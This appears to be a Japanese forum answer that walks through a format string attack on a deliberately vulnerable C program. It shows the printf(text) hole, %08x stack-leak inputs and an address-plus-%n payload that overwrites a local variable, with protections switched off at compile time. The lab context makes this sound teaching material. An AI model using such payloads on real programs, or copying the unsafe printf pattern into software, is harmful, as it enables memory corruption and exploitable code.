macOS Sierra、Apple LLVM version 8.0.0 (clang-800.0.42.1)を用いて、test_valの書き換えに成功しました。LinuxのGCCでも可能かと思いますが、結構制限があります。
まず、今のコードと方法には複数の問題点があります。
- 64bit環境でのユーザーメモリ空間は
0x00007fffffffffff
(8Bytes)以下であるため、最初のテキストが"\xff\xff\xff\xff\xff\x7f\x00\x00"
(8Bytes)のようにしなくてはならない。しかし、この文字列にはヌル文字が含まれるため、strcpyやprintfでその先が読み込む事ができない。最初のテキストでアドレスを表すときに\x00
が必ず入る場合は動作しない。
=> 64bitではこの方法でアドレスを表現することは不可能。32bitにしなければならない。(-m32
オプションを付けてコンパイル)
2. 32bitの場合でも0x00ffffff
(4Bytes)以下の場合は、最初のテキストが"\xff\xff\xff\x00"
(4Bytes)とヌル文字が含まれて、同様に不可能になる。staticなローカル変数は通常若いアドレスに配置されるため、0x00ffffff
以下となって表現できない。
=> staticではない普通のローカル変数をターゲットにしなければならない。
3. デフォルトではASLR(アドレス空間配置のランダム化)が有効なため、test_val
のアドレスが起動する度に変化する。
=>ASLRを無効にしなければならない。(-Wl,-no-pie
オプションを付けてコンパイル)
以上を踏まえて、ソースコードを下記のように書き直しました。(このコードはintとポインタが32bitであることが前提であるため、64bit環境では正しく使えません)
C
1#include <stdio.h>
2#include <stdlib.h>
3#include <string.h>
4
5int main(int argc, char *argv[])
6{
7 char text[1024] = {0};
8 int test_val = -72;
9 strcpy(text, argv[1]);
10
11 printf("正しい方法:\n");
12 printf("%s", text);
13
14 printf("\n誤った方法:\n");
15 printf(text);
16
17 printf("\n");
18
19 // Debug output
20 printf("[*] test_val @ 0x%08x = %d 0x%08x\n", (unsigned int)&test_val,
21 test_val, test_val);
22 printf("[*] text @ 0x%08x = %u 0x%08x\n", (unsigned int)text,
23 *((unsigned int *)text), *((unsigned int *)text));
24 exit(0);
25}
以下、実行結果です。ソースコードのファイル名はabunai.c
です。なお、fishというマイナーなシェルを使っています。シェル内でコマンド実行結果を使う方法は$(コマンド)
ではなく(コマンド)
になっていますので、読み替えてください。λ
はシェルのプロンプトです。
λ clang -m32 -Wall -O0 -std=c11 -Wl,-no_pie abunai.c
abunai.c:15:9: warning: format string is not a string literal
(potentially insecure) [-Wformat-security]
printf(text);
^~~~
abunai.c:15:9: note: treat the string as an argument to avoid this
printf(text);
^
"%s",
1 warning generated.
λ ./a.out AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
正しい方法:
AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
誤った方法:
AAAA.bffff590.00000400.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000014.00000068.00000013.bffff590.00000400.00000000.bffff590.00001d61.ffffffb8.41414141
[*] test_val @ 0xbffff58c = -72 0xffffffb8
[*] text @ 0xbffff590 = 1094795585 0x41414141
λ ./a.out (printf "\x8c\xf5\xff\xbf")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
正しい方法:
����%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
誤った方法:
����bffff590.00000400.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000014.00000065.00000013.bffff590.00000400.00000000.bffff590.00001d61.ffffffb8.
[*] test_val @ 0xbffff58c = 175 0x000000af
[*] text @ 0xbffff590 = 3221222796 0xbffff58c
※ �部分は文字化け
最適化の影響を受けないように-O0
(最適化無し)を付けています。最初のコマンドでtest_val
のアドレスが0xbffff58c
であることを確認しましたので、"AAAA"
が"\x8c\xf5\xff\xbf"
(リトルエンディアンなので逆順)になるようにします。あとは、41414141
の場所に"%n"
を投げ込めば、test_valが変わっているのがわかると思います。
なお、"AAAA"
部分に入れるアドレスが間違っていたり、"%n"
の順番が間違っていれば、どこかのアドレスを読みに行って書き換えようとします。ほとんどの場合はAddress boundary errorでSIGSEGVシグナルが吐かれて落ちてしまうでしょう。アドレスが間違ってないか、"%n"
の位置が間違ってないかを確認してください。環境によって、test_val
のアドレス、"%n"
が入る位置が異なりますので、ご注意ください。